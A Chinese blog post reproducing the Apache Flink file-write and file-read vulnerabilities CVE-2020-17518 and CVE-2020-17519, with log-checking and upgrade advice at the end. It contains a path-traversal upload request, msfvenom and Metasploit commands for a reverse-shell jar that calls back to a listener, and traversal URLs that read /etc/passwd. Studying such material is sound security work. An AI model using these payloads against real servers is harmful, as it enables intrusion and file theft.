大柚子

这世界不过如此

概述

Apache Flink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。此外,Flink的运行时本身也支持迭代算法的执行。

Apache Flink的数据流编程模型在有限和无限数据集上提供单次事件(event-at-a-time)处理。在基础层面,Flink程序由流和转换组成。

Apache Flink的API:有界或无界数据流的数据流API、用于有界数据集的数据集API、表API

Apache Flink组件存在文件写入与任意文件读取漏洞的信息,漏洞编号:(CVE-2020-17518/CVE-2020-17519),漏洞:高危。该漏洞是由于Apache Flink 在受影响版本引入不安全的REST API接口,攻击者可利用漏洞在未授权的情况下,构造恶意数据执行任意文件读取或文件写入攻击,最终获取服务器敏感性信息或权限。

影响版本

CVE-2020-17518
Apache:Apache Flink: 1.5.1 – 1.11.2

CVE-2020-17519
Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2

漏洞复现

CVE-2020-17518(任意文件写入)

任意文件写入触发类是 org.apache.flink.runtime.rest.FileUploadHandler, 该类调用发生在路由解析之前, 而且filename可控


DiskFileUpload fileUpload = (DiskFileUpload)data;
Preconditions.checkState(fileUpload.isCompleted());
Path dest = this.currentUploadDir.resolve(fileUpload.getFilename());
fileUpload.renameTo(dest.toFile());
LOG.trace("Upload of file {} complete.", fileUpload.getFilename());DiskFileUpload fileUpload = (DiskFileUpload)data;
Preconditions.checkState(fileUpload.isCompleted());
Path dest = this.currentUploadDir.resolve(fileUpload.getFilename());
fileUpload.renameTo(dest.toFile());
LOG.trace("Upload of file {} complete.", fileUpload.getFilename());

fileUpload 会先在 /tmp 目录下缓存文件, 然后再通过 filename 将文件移动. 所以构造 poc 如下:


POST /jars/upload HTTP/1.1
Host: 192.168.52.131:8081
Content-Length: 215
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarympYOdlJgzW23M7xi
Origin: http://192.168.52.131:8081
Referer: http://192.168.52.131:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTBaVGd3WlRCbExXTXdaV0l0TkRJeFpTMDVPRFl3TFRRMFpqZ3hObVF4WmpkbU1pST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--f48c6e729d1a83e5acdd4acbdabdbd041b684e84
Connection: close

------WebKitFormBoundarympYOdlJgzW23M7xi
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/test2.txt"
Content-Type: text/plain

1111
------WebKitFormBoundarympYOdlJgzW23M7xi--

虽然恢复400,但实际已经上传成功

如何获取获取shell?

Flink 本身是没有鉴权的,并且它本身支持任意jar包上传并执行,所以可以通过上传jar包getshell。

使用msf生成反弹shell的jar包


msfvenom -p java/shell_reverse_tcp lhost=192.168.52.133  lport=12345 -f jar >/home/a.jar

启用msf接受shell


msfconsole
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 192.168.52.133
set LPORT 12345
exploit

在Apache Flink中选择Add New,选择木马jar文件上传,点击刚刚上传的木马文件,选择submit

图片

我这里提交后一直报错,太菜了,没找到原因,getshell失败

CVE-2020-17519(任意文件读取)

利用方式:url经过两次url编码


http://ip:8081/v1/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd
http://ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252fetc%252fpasswd

应急排查

1、web访问日志类

如果害搭建又其他web服务,且存在中间件,可查看访问日志,查看”jobmanager“和“/jars/upload”关键字

2、flink本身日志

这里的话可作为辅助参考,会记录flink运行时的一些info或告警信息。

修复建议

官方已发布安全版本,请及时下载升级至安全版本
https://flink.apache.org/zh/downloads.html

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。